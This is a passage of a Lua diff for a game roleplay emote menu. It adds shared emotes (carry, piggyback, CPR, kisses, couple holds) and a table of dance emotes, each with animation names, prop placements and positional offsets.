-0.15, + xRot = 3.70, + yRot = 75.00, + zRot = -161.90, + }, + AnimalEmote = true + }, + ["cbdog"] = { + "anim@heists@box_carry@", + "idle", + "Carry Big Dog", + "cbdog2", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + }, + AnimalEmote = true + }, + ["cbdog2"] = { + "creatures@rottweiler@amb@sleep_in_kennel@", + "sleep_in_kennel", + "Big Dog Carried", + "cbdog", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + xPos = -0.100, + yPos = 0.650, + zPos = 0.430, + xRot = 0.0, + yRot = 0.0, + zRot = -100.00, + }, + AnimalEmote = true + }, + ["pback"] = { -- Custom Animation By SapphireMods + "mx@piggypack_a", + "mxclip_a", + "Offer Piggy Back", + "pback2", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["pback2"] = { -- Custom Animation By SapphireMods + "mx@piggypack_b", + "mxanim_b", + "Be Piggy Backed", + "pback", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.0200, + yPos = -0.4399, + zPos = 0.4200, + xRot = 0.0, + yRot = 0.0, + zRot = 0.0 + } + }, + ["cprs"] = { + "mini@cpr@char_a@cpr_str", + "cpr_pumpchest", + "Give CPR", + "cprs2", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 250 + } + }, + ["cprs2"] = { + "mini@cpr@char_b@cpr_str", + "cpr_pumpchest", + "Get CPR", + "cprs", + AnimationOptions = { + EmoteLoop = true, + Attachto = true, + xPos = 0.35, + yPos = 0.8, + zPos = 0.0, + xRot = 0.0, + yRot = 0.0, + zRot = 270.0 + } + }, + ["cprs3"] = { + "missheistfbi3b_ig8_2", + "cpr_loop_paramedic", + "Give CPR 2", + "cprs4", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 250 + } + }, + ["cprs4"] = { + "missheistfbi3b_ig8_2", + "cpr_loop_victim", + "Get CPR 2", + "cprs3", + AnimationOptions = { + EmoteLoop = true, + Attachto = true, + xPos = 0.35, + yPos = 0.65, + zPos = 0.0, + xRot = 0.0, + yRot = 0.0, + zRot = 270.0 + } + }, + ["hostage"] = { + "anim@gangops@hostage@", + "perp_idle", + "Take hostage", + "hostage2", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["hostage2"] = { + "anim@gangops@hostage@", + "victim_idle", + "Be hostage", + "hostage", + AnimationOptions = { + EmoteLoop = true, + Attachto = true, + xPos = -0.3, + yPos = 0.1, + zPos = 0.0, + xRot = 0.0, + yRot = 0.0, + zRot = 0.0 + } + }, + ["search"] = { -- Custom Emote By ultrahacx + "custom@police", + "police", + "Search", + "search2", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = false, + -- EmoteDuration = 9700 + } + }, + ["search2"] = { + "missfam5_yoga", + "a2_pose", + "Be searched", + "search", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = false, + -- EmoteDuration = 9700, + Attachto = true, + xPos = 0.0, + yPos = 0.5, + zPos = 0.0, + xRot = 0.0, + yRot = 0.0, + zRot = 0.0 + } + }, + ["followa"] = { -- Custom Ped In Front Emote By Dollie Mods + "dollie_mods@follow_me_001", + "follow_me_001", + "Follow A (Front)", + "followb", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + -- We can set this to true for lols, however it messes up if you walk through doors. Either player can press X to cancel the shared emotes + } + }, + ["followb"] = { -- Custom Ped At Back Emote by Dollie Mods + "dollie_mods@follow_me_002", + "follow_me_002", + "Follow B (Back)", + "followa", + AnimationOptions = { + EmoteLoop = true, + Attachto = true, + xPos = 0.078, + yPos = 0.018, + zPos = 0.00, + xRot = 0.00, + yRot = 0.00, + zRot = 0.00 + } + }, + ["kiss"] = { + "hs3_ext-20", + "cs_lestercrest_3_dual-20", + "Kiss", + "kiss2", + AnimationOptions = { + EmoteMoving = false, + EmoteDuration = 10000, + SyncOffsetFront = 0.08 + } + }, + ["kiss2"] = { + "hs3_ext-20", + "csb_georginacheng_dual-20", + "Kiss 2", + "kiss", + AnimationOptions = { + EmoteMoving = false, + EmoteDuration = 10000, + SyncOffsetFront = 0.08 + } + }, + ["kiss3"] = { + "hs3_ext-19", + "cs_lestercrest_3_dual-19", + "Kiss 3", + "kiss4", + AnimationOptions = { + EmoteMoving = false, + EmoteDuration = 10000, + SyncOffsetFront = 0.08 + } + }, + ["kiss4"] = { + "hs3_ext-19", + "csb_georginacheng_dual-19", + "Kiss 4", + "kiss3", + AnimationOptions = { + EmoteMoving = false, + EmoteDuration = 10000, + SyncOffsetFront = 0.08 + } + }, + ["kisscuteneck"] = { + "genesismods_kissme@kissmale8", + "kissmale8", + "Kiss Cute - Neck (Male)", + "kisscuteneck2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + --SyncOffsetFront = 0.05, + --bone = 0, + xPos = -0.56, + yPos = 0.0, + zPos = 0.0, + xRot = 0.0, + yRot = 0.0, + zRot = 0.0, + + } + }, + ["kisscuteneck2"] = { + "genesismods_kissme@kissfemale8", + "kissfemale8", + "Kiss Cute - Neck (Female)", + "kisscuteneck", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + --SyncOffsetFront = 0.05, + + } + }, + ["kisscutecheek"] = { + "genesismods_kissme@kissmale9", + "kissmale9", + "Kiss Cute Cheek (Male)", + "kisscutecheek2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + --SyncOffsetFront = 0.05, + --bone = 0, + xPos = 0.35, + yPos = 0.0, + zPos = 0.0, + xRot = 0.0, + yRot = 0.0, + zRot = 0.0, + + } + }, + ["kisscutecheek2"] = { + "genesismods_kissme@kissfemale9", + "kissfemale9", + "Kiss Cute Cheek (Female)", + "kisscutecheek", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + --SyncOffsetFront = 0.05, + + } + }, + ["kisscutefh"] = { + "genesismods_kissme@kissmale10", + "kissmale10", + "Kiss Forehead (Male)", + "kisscutefh2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + --SyncOffsetFront = 0.05, + --bone = 0, + xPos = 0.38, + yPos = 0.0, + zPos = 0.0, + xRot = 0.0, + yRot = 0.0, + zRot = 0.0, + + } + }, + ["kisslips"] = { + "chocoholic@couple13", + "couple13_clip", + "Kiss Cute Lips (Female)", + "kisslips2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.1600, + yPos = 0.2700, + zPos = 0.0, + xRot = 0.0, + yRot = 0.0, + zRot = 130.0, + + } + }, + ["kisslips2"] = { + "chocoholic@couple14", + "couple14_clip", + "Kiss Cute Lips (Male)", + "kisslips", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + + } + }, + ["kisscutefh2"] = { + "genesismods_kissme@kissfemale10", + "kissfemale10", + "Kiss Forehead (Female)", + "kisscutefh", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + --SyncOffsetFront = 0.05, + + } + }, + ["coupleanim"] = { + "anim@scripted@robbery@tun_prep_uni_ig1_couple@", + "action_var_01_bank_manager", + "Couple Drinking (Wine Glasses)", + "coupleanim2", + AnimationOptions = { + Prop = 'p_wine_glass_s', + PropBone = 60309, + PropPlacement = { + -0.0500, + -0.0100, + -0.1700, + 0.0, + 0.0, + 0.0, + }, + EmoteMoving = false, + EmoteLoop = true + } + }, + ["coupleanim2"] = { + "anim@scripted@robbery@tun_prep_uni_ig1_couple@", + "action_var_01_female", + "Couple Drinking F (Wine Glasses)", + "coupleanim", + AnimationOptions = { + Prop = 'p_wine_glass_s', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + }, + SyncOffsetSide = -0.04125, + SyncOffsetFront = 0.11, + EmoteMoving = false, + EmoteLoop = true + } + }, + ["holdme"] = { -- Custom Animation By SapphireMods + "mx_couple5_1_a", + "mx_couple5_1_a_clip", + "Hold Me", + "holdmeb", + AnimationOptions = { + EmoteLoop = true + }, + }, + ["holdmeb"] = { -- Custom Animation By SapphireMods + "mx_couple5_1_b", + "mx_couple5_1_b_clip", + "Be Held", + "holdme", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = -0.0200, + yPos = 0.2400, + zPos = -0.0100, + xRot = 0.0, + yRot = 0.0, + zRot = 0.0 + }, + }, + ["holdmec"] = { -- Custom Animation By SapphireMods + "mx_couple5_2_a", + "mx_couple5_2_a_clip", + "Hold Me 2", + "holdmed", + AnimationOptions = { + EmoteLoop = true + }, + }, + ["holdmed"] = { -- Custom Animation By SapphireMods + "mx_couple5_2_b", + "mx_couple5_2_b_clip", + "Be Held 2", + "holdmec", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = -0.1200, + yPos = 0.3600, + zPos = -0.0100, + xRot = 0.0, + yRot = 0.0, + zRot = -180.0 + }, + }, + ["holdmee"] = { -- Custom Animation By SapphireMods + "mx_couple5_3_a", + "mx_couple5_3_a_clip", + "Hold Me 3", + "holdmef", + AnimationOptions = { + EmoteLoop = true + } + }, + ["holdmef"] = { -- Custom Animation By SapphireMods + "mx_couple5_3_b", + "mx_couple5_3_b_clip", + "Be Held 3", + "holdmee", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.0400, + yPos = 0.2100, + zPos = -0.0300, + xRot = 0.0, + yRot = 0.0, + zRot = 0.0 + }, + }, + ["bdoghumping"] = { + "creatures@rottweiler@amb@", + "hump_loop_chop", + "Dogs Humping (Male)", + "bdoghumping2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + SyncOffsetFront = 0.0, + SyncOffsetSide = -0.028, + SyncOffsetHeading = 0.0 + }, + AdultAnimation = true, + AnimalEmote = true + }, + ["bdoghumping2"] = { + "creatures@rottweiler@amb@", + "hump_loop_ladydog", + "Dogs Humping (Female)", + "bdoghumping", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + SyncOffsetFront = 0.0, + SyncOffsetSide = -0.028, + SyncOffsetHeading = 0.0 + }, + AdultAnimation = true, + AnimalEmote = true + } +} + +--- DANCING EMOTES, SOME WITH PROPS --- + +RP.Dances = { + ["dance"] = { + "anim@amb@nightclub@dancers@podium_dancers@", + "hi_dance_facedj_17_v2_male^5", + "Dance", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dance2"] = { + "anim@amb@nightclub@mini@dance@dance_solo@male@var_b@", + "high_center_down", + "Dance 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dance3"] = { + "anim@amb@nightclub@mini@dance@dance_solo@male@var_a@", + "high_center", + "Dance 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dance4"] = { + "anim@amb@nightclub@mini@dance@dance_solo@male@var_b@", + "high_center_up", + "Dance 4", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dance5"] = { + "anim@amb@casino@mini@dance@dance_solo@female@var_a@", + "med_center", + "Dance 5", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dance6"] = { + "misschinese2_crystalmazemcs1_cs", + "dance_loop_tao", + "Dance 6", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dance7"] = { + "misschinese2_crystalmazemcs1_ig", + "dance_loop_tao", + "Dance 7", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dance8"] = { + "missfbi3_sniping", + "dance_m_default", + "Dance 8", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dance9"] = { + "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@", + "med_center_up", + "Dance 9", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancef"] = { + "anim@amb@nightclub@dancers@solomun_entourage@", + "mi_dance_facedj_17_v1_female^1", + "Dance F", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancef2"] = { + "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@", + "high_center", + "Dance F2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancef3"] = { + "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@", + "high_center_up", + "Dance F3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancef4"] = { + "anim@amb@nightclub@dancers@crowddance_facedj@hi_intensity", + "hi_dance_facedj_09_v2_female^1", + "Dance F4", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancef5"] = { + "anim@amb@nightclub@dancers@crowddance_facedj@hi_intensity", + "hi_dance_facedj_09_v2_female^3", + "Dance F5", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancef6"] = { + "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@", + "high_center_up", + "Dance F6", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclub"] = { + "anim@amb@nightclub_island@dancers@beachdance@", + "hi_idle_a_m03", + "Dance Club", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubb"] = { + "anim@amb@nightclub_island@dancers@beachdance@", + "hi_idle_a_m05", + "Dance Club 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubc"] = { + "anim@amb@nightclub_island@dancers@beachdance@", + "hi_idle_a_m02", + "Dance Club 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubd"] = { + "anim@amb@nightclub_island@dancers@beachdance@", + "hi_idle_b_f01", + "Dance Club 4", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclube"] = { + "anim@amb@nightclub_island@dancers@club@", + "hi_idle_a_f02", + "Dance Club 5", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubf"] = { + "anim@amb@nightclub_island@dancers@club@", + "hi_idle_b_m03", + "Dance Club 6", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubg"] = { + "anim@amb@nightclub_island@dancers@club@", + "hi_idle_d_f01", + "Dance Club 7", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubh"] = { + "anim@amb@nightclub_island@dancers@crowddance_facedj@", + "mi_dance_facedj_17_v2_male^4", + "Dance Club 8", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubi"] = { + "anim@amb@nightclub_island@dancers@crowddance_single_props@", + "mi_dance_prop_13_v1_male^3", + "Dance Club 9", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubj"] = { + "anim@amb@nightclub_island@dancers@crowddance_groups@groupd@", + "mi_dance_crowd_13_v2_male^1", + "Dance Club 10", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubk"] = { + "anim@amb@nightclub_island@dancers@crowddance_facedj@", + "mi_dance_facedj_15_v2_male^4", + "Dance Club 11", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubl"] = { + "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@", + "high_center_up", + "Dance Club 12", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubm"] = { + "anim@amb@nightclub_island@dancers@crowddance_facedj@", + "hi_dance_facedj_hu_15_v2_male^5", + "Dance Club 13", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubn"] = { + "anim@amb@nightclub_island@dancers@crowddance_facedj@", + "hi_dance_facedj_hu_17_male^5", + "Dance Club 14", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubo"] = { + "anim@amb@nightclub@mini@dance@dance_solo@shuffle@", + "high_center", + "Dance Club 15", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceclubp"] = { + "anim@amb@nightclub@mini@dance@dance_solo@shuffle@", + "high_left_down", + "Dance Club 16", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancedrink"] = { + "anim@amb@nightclub_island@dancers@beachdanceprop@", + "mi_idle_c_m01", + "Dance Drink (Beer)", + AnimationOptions = { + Prop = 'prop_beer_amopen', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.00, + 0.0, + 0.0, + 0.0, + 20.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dancedrink2"] = { + "anim@amb@nightclub_island@dancers@beachdanceprop@", + "mi_loop_f1", + "Dance Drink 2 (Wine)", + AnimationOptions = { + Prop = 'p_wine_glass_s', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.0900, + 0.0, + 0.0, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dancedrink3"] = { + "anim@amb@nightclub_island@dancers@beachdanceprop@", + "mi_loop_m04", + "Dance Drink 3 (Whiskey)", + AnimationOptions = { + Prop = 'ba_prop_battle_whiskey_opaque_s', + PropBone = 28422, + PropPlacement = { + -0.0100, + 0.00, + 0.0, + 0.0, + 0.0, + 10.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dancedrink4"] = { + "anim@amb@nightclub_island@dancers@beachdanceprops@male@", + "mi_idle_b_m04", + "Dance Drink 4 (Whiskey)", + AnimationOptions = { + Prop = 'ba_prop_battle_whiskey_opaque_s', + PropBone = 28422, + PropPlacement = { + -0.0100, + 0.00, + 0.0, + 0.0, + 0.0, + 10.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dancedrink5"] = { + "anim@amb@nightclub_island@dancers@crowddance_single_props@", + "hi_dance_prop_09_v1_female^3", + "Dance Drink 5 (Wine)", + AnimationOptions = { + Prop = 'p_wine_glass_s', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.0900, + 0.0, + 0.0, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dancedrink6"] = { + "anim@amb@nightclub_island@dancers@crowddance_single_props@", + "hi_dance_prop_09_v1_male^3", + "Dance Drink 6 (Beer)", + AnimationOptions = { + Prop = 'prop_beer_logopen', + PropBone = 28422, + PropPlacement = { + 0.0090, + 0.0010, + -0.0310, + 180.0, + 180.0, + -69.99 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dancedrink7"] = { + "anim@amb@nightclub_island@dancers@crowddance_single_props@", + "hi_dance_prop_11_v1_female^3", + "Dance Drink 7 (Wine)", + AnimationOptions = { + Prop = 'p_wine_glass_s', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.0900, + 0.0, + 0.0, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dancedrink8"] = { + "anim@amb@nightclub_island@dancers@crowddance_single_props@", + "hi_dance_prop_11_v1_female^1", + "Dance Drink 8 (Wine)", + AnimationOptions = { + Prop = 'p_wine_glass_s', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.0900, + 0.0, + 0.0, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["danceslow2"] = { + "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@", + "low_center", + "Dance Slow 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceslow3"] = { + "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@", + "low_center_down", + "Dance Slow 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceslow4"] = { + "anim@amb@nightclub@mini@dance@dance_solo@female@var_b@", + "low_center", + "Dance Slow 4", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceupper"] = { + "anim@amb@nightclub@mini@dance@dance_solo@female@var_b@", + "high_center", + "Dance Upper", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["danceupper2"] = { + "anim@amb@nightclub@mini@dance@dance_solo@female@var_b@", + "high_center_up", + "Dance Upper 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["danceshy"] = { + "anim@amb@nightclub@mini@dance@dance_solo@male@var_a@", + "low_center", + "Dance Shy", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceshy2"] = { + "anim@amb@nightclub@mini@dance@dance_solo@female@var_b@", + "low_center_down", + "Dance Shy 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceslow"] = { + "anim@amb@nightclub@mini@dance@dance_solo@male@var_b@", + "low_center", + "Dance Slow", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancesilly1"] = { + "rcmnigel1bnmt_1b", + "dance_loop_tyler", + "Dance Silly 1", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancesilly"] = { + "special_ped@mountain_dancer@monologue_3@monologue_3a", + "mnt_dnc_buttwag", + "Dance Silly", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancesilly2"] = { + "move_clown@p_m_zero_idles@", + "fidget_short_dance", + "Dance Silly 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancesilly3"] = { + "move_clown@p_m_two_idles@", + "fidget_short_dance", + "Dance Silly 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancesilly4"] = { + "anim@amb@nightclub@lazlow@hi_podium@", + "danceidle_hi_11_buttwiggle_b_laz", + "Dance Silly 4", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancesilly5"] = { + "timetable@tracy@ig_5@idle_a", + "idle_a", + "Dance Silly 5", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancesilly6"] = { + "timetable@tracy@ig_8@idle_b", + "idle_d", + "Dance Silly 6", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancesilly7"] = { + "anim@amb@casino@mini@dance@dance_solo@female@var_b@", + "med_center", + "Dance Silly 7", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancesilly8"] = { + "anim@amb@casino@mini@dance@dance_solo@female@var_b@", + "high_center", + "Dance Silly 8", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancesilly9"] = { + "anim@mp_player_intcelebrationfemale@the_woogie", + "the_woogie", + "Dance Silly 9", + AnimationOptions = { + EmoteLoop = true + } + }, + ["danceold"] = { + "anim@mp_player_intupperuncle_disco", + "idle_a", + "Dance Old", + AnimationOptions = { + EmoteLoop = true, + -- EmoteMoving = true,-- Removing the comment will allow for you to mix and match dance emotes, ie /e danceold and /e dance to control the bottom half of the body. + } + }, + ["danceglowstick"] = { + "anim@amb@nightclub@lazlow@hi_railing@", + "ambclub_13_mi_hi_sexualgriding_laz", + "Dance Glowsticks", + AnimationOptions = { + Prop = 'ba_prop_battle_glowstick_01', + PropBone = 28422, + PropPlacement = { + 0.0700, + 0.1400, + 0.0, + -80.0, + 20.0 + }, + SecondProp = 'ba_prop_battle_glowstick_01', + SecondPropBone = 60309, + SecondPropPlacement = { + 0.0700, + 0.0900, + 0.0, + -120.0, + -20.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["danceglowstick2"] = { + "anim@amb@nightclub@lazlow@hi_railing@", + "ambclub_12_mi_hi_bootyshake_laz", + "Dance Glowsticks 2", + AnimationOptions = { + Prop = 'ba_prop_battle_glowstick_01', + PropBone = 28422, + PropPlacement = { + 0.0700, + 0.1400, + 0.0, + -80.0, + 20.0 + }, + SecondProp = 'ba_prop_battle_glowstick_01', + SecondPropBone = 60309, + SecondPropPlacement = { + 0.0700, + 0.0900, + 0.0, + -120.0, + -20.0 + }, + EmoteLoop = true + } + }, + ["danceglowstick3"] = { + "anim@amb@nightclub@lazlow@hi_railing@", + "ambclub_09_mi_hi_bellydancer_laz", + "Dance Glowsticks 3", + AnimationOptions = { + Prop = 'ba_prop_battle_glowstick_01', + PropBone = 28422, + PropPlacement = { + 0.0700, + 0.1400, + 0.0, + -80.0, + 20.0 + }, + SecondProp = 'ba_prop_battle_glowstick_01', + SecondPropBone = 60309, + SecondPropPlacement = { + 0.0700, + 0.0900, + 0.0, + -120.0, + -20.0 + }, + EmoteLoop = true + } + }, + ["dancehorse"] = { + "anim@amb@nightclub@lazlow@hi_dancefloor@", + "dancecrowd_li_15_handup_laz", + "Dance Horse", + AnimationOptions = { + Prop = "ba_prop_battle_hobby_horse", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["dancehorse2"] = { + "anim@amb@nightclub@lazlow@hi_dancefloor@", + "crowddance_hi_11_handup_laz", + "Dance Horse 2", + AnimationOptions = { + Prop = "ba_prop_battle_hobby_horse", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true + } + }, + ["dancehorse3"] = { + "anim@amb@nightclub@lazlow@hi_dancefloor@", + "dancecrowd_li_11_hu_shimmy_laz", + "Dance Horse 3", + AnimationOptions = { + Prop = "ba_prop_battle_hobby_horse", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true + } + }, + ["dancewave"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "wave_dance_1", + "Wave Dance", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancewave02"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "wave_dance_2", + "Wave Dance 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancewave03"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "wave_dance_3", + "Wave Dance 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancewave04"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "wave_dance_4", + "Wave Dance 4", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancewave05"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "tutankhamun_dance_1", + "Wave Dance 5 - Tutankhamen", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancewave06"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "tutankhamun_dance_2", + "Wave Dance 6 - Tutankhamen 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancewave07"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "snake_dance_1", + "Wave Dance 7 - Snake Dance", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancewave08"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "slide_dance", + "Wave Dance 8 - Slide Dance", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancewave09"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "slide_dance_2", + "Wave Dance 9 - Slide Dance 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancewave10"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "robot_dance", + "Wave Dance 10 - Robot Dance", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancewave11"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "locking_dance", + "Wave Dance 11 - Locking Dance", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancewave12"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "headspin", + "Wave Dance 12 - Headspin", + AnimationOptions = { + EmoteLoop = false + } + }, + ["dancewave13"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "flaire_dance", + "Wave Dance 13 - Flaire Dance", + AnimationOptions = { + EmoteLoop = false + } + }, + ["dancewave14"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "crowd_girl_dance", + "Wave Dance 14 - Female Crowd Dance", + AnimationOptions = { + EmoteLoop = false + } + }, + ["dancewave15"] = { -- Custom Emote By BoringNeptune + "dancing_wave_part_one@anim", + "uprock_dance_1", + "Wave Dance 15 - Uprock Dance", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancethriller"] = { -- Custom Emote By BoringNeptune + "mj_thriller", + "mj_thriller_dance", + "Dance - MJ Thriller", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dj"] = { + "anim@amb@nightclub@djs@dixon@", + "dixn_dance_cntr_open_dix", + "DJ", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["dj2"] = { + "anim@amb@nightclub@djs@solomun@", + "sol_idle_ctr_mid_a_sol", + "DJ 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dj3"] = { + "anim@amb@nightclub@djs@solomun@", + "sol_dance_l_sol", + "DJ 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dj4"] = { + "anim@amb@nightclub@djs@black_madonna@", + "dance_b_idle_a_blamadon", + "DJ 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dj1"] = { + "anim@amb@nightclub@djs@dixon@", + "dixn_end_dix", + "DJ 1", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dj5"] = { + "anim@amb@nightclub@djs@dixon@", + "dixn_idle_cntr_a_dix", + "DJ 5", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dj6"] = { + "anim@amb@nightclub@djs@dixon@", + "dixn_idle_cntr_b_dix", + "DJ 6", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dj7"] = { + "anim@amb@nightclub@djs@dixon@", + "dixn_idle_cntr_g_dix", + "DJ 7", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dj8"] = { + "anim@amb@nightclub@djs@dixon@", + "dixn_idle_cntr_gb_dix", + "DJ 8", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dj9"] = { + "anim@amb@nightclub@djs@dixon@", + "dixn_sync_cntr_j_dix", + "DJ 9", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["twerk"] = { + "switch@trevor@mocks_lapdance", + "001443_01_trvs_28_idle_stripper", + "Twerk", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lapdance"] = { + "mp_safehouse", + "lap_dance_girl", + "Lapdance" + }, + ["lapdance2"] = { + 